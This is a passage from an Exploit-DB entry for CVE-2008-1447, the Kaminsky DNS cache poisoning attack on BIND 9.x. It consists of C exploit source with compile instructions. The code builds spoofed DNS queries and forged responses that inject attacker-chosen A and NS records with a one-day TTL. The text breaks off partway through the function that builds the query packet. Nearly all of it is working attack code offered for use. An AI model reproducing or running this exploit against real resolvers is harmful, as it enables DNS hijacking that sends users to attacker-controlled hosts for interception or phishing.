Exploit-DB #6130
Description: BIND 9.x - Remote DNS Cache Poisoning
Type: remote
Platform: multiple
Date: 2008-07-25
Author: Marc Bevand

Exploit:
/*
 * Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack
 *
 * Compilation:
 * $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm
 *
 * Dependency: libdnet (aka libdumbnet-dev under Ubuntu)
 *
 * Author: marc.bevand at rapid7 dot com
 */

#define _BSD_SOURCE

#include <sys/types.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <time.h>
#include <unistd.h>
#include <dumbnet.h>

#define DNSF_RESPONSE      (1<<15)
#define DNSF_AUTHORITATIVE (1<<10)
#define DNSF_REC_DESIRED   (1<<8)
#define DNSF_REC_AVAILABLE (1<<7)

#define TYPE_A       0x1
#define TYPE_NS      0x2
#define CLASS_IN     0x1

struct dns_pkt
{
   uint16_t txid;
   uint16_t flags;
   uint16_t nr_quest;
   uint16_t nr_ans;
   uint16_t nr_auth;
   uint16_t nr_add;
} __attribute__ ((__packed__));

void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)
{
   unsigned bufi, i, j;
   bufi = i = j = 0;
   while (name[i])
   {
      if (name[i] == '.')
      {
         if (bufi + 1 + (i - j) > size)
            fprintf(stderr, "format_domain overflow\n"), exit(1);
         buf[bufi++] = i - j;
         memcpy(buf + bufi, name + j, i - j);
         bufi += i - j;
         j = i + 1;
      }
      i++;
   }
   if (bufi + 1 + 2 + 2 > size)
      fprintf(stderr, "format_domain overflow\n"), exit(1);
   buf[bufi++] = 0;
   *len = bufi;
}

void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)
{
   uint16_t tmp;
   // name
   format_domain(buf, size, len, name);
   // type
   tmp = htons(type);
   memcpy(buf + *len, &tmp, sizeof (tmp));
   *len += sizeof (tmp);
   // class
   tmp = htons(class);
   memcpy(buf + *len, &tmp, sizeof (tmp));
   *len += sizeof (tmp);
}

void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)
{
   format_qr(buf, size, len, name, type, class);
   // ttl
   ttl = htonl(ttl);
   memcpy(buf + *len, &ttl, sizeof (ttl));
   *len += sizeof (ttl);
   // data length + data
   uint16_t dlen;
   struct addr addr;
   switch (type)
   {
      case TYPE_A:
         dlen = sizeof (addr.addr_ip);
         break;
      case TYPE_NS:
         dlen = strlen(data) + 1;
         break;
      default:
         fprintf(stderr, "format_rr: unknown type %02x", type);
         exit(1);
   }
   dlen = htons(dlen);
   memcpy(buf + *len, &dlen, sizeof (dlen));
   *len += sizeof (dlen);
   // data
   unsigned len2;
   switch (type)
   {
      case TYPE_A:
         if (addr_aton(data, &addr) < 0)
            fprintf(stderr, "invalid destination IP: %s", data), exit(1);
         memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip));
         *len += sizeof (addr.addr_ip);
         break;
      case TYPE_NS:
         format_domain(buf + *len, size - *len, &len2, data);
         *len += len2;
         break;
      default:
         fprintf(stderr, "format_rr: unknown type %02x", type);
         exit(1);
   }
}

void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)
{
   u_char *out = buf;
   struct dns_pkt p = {
      .txid = htons(txid),
      .flags = htons(flags),
      .nr_quest = htons(1),
      .nr_ans = htons(0),
      .nr_auth = htons(0),
      .nr_add = htons(0),
   };
   u_char qr[256];
   unsigned l;
   format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);
   if (sizeof (p) + l > size)
      fprintf(stderr, "dns_query overflow"), exit(1);
   memcpy(out, &p, sizeof (p));
   out += sizeof (p);
   memcpy(out, qr, l);
   out += l;
   *len = sizeof (p) + l;
}

void dns_response(u_char *buf, unsigned size, unsigned *len,
      uint16_t txid, uint16_t flags,
      const char *q_name, const char *q_ip,
      const char *domain, const char *auth_name, const char *auth_ip)
{
   u_char *out = buf;
   u_char *end = buf + size;
   u_char rec[256];
   unsigned l_rec;
   uint32_t ttl = 24*3600;
   struct dns_pkt p = {
      .txid = htons(txid),
      .flags = htons(flags),
      .nr_quest = htons(1),
      .nr_ans = htons(1),
      .nr_auth = htons(1),
      .nr_add = htons(1),
   };
   (void)domain;
   *len = 0;
   if (out + *len + sizeof (p) > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p);
   // queries
   format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // answers
   format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,
         ttl, q_ip);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // authoritative nameservers
   format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,
         ttl, auth_name);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // additional records
   format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,
         ttl, auth_ip);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
}

unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)
{
   unsigned len = 0;
   // ip
   struct ip_hdr *ip = (struct ip_hdr *)buf;
   ip->ip_hl = 5;
   ip->ip_v = 4;
   ip->ip_tos = 0;
   ip->ip_id = rand() & 0xffff;
   ip->ip_off = 0;
   ip->ip_ttl = IP_TTL_MAX;
   ip->ip_p = 17; // udp
   ip->ip_sum = 0;
   struct addr addr;
   if (addr_aton(srcip, &addr) < 0)
      fprintf(stderr,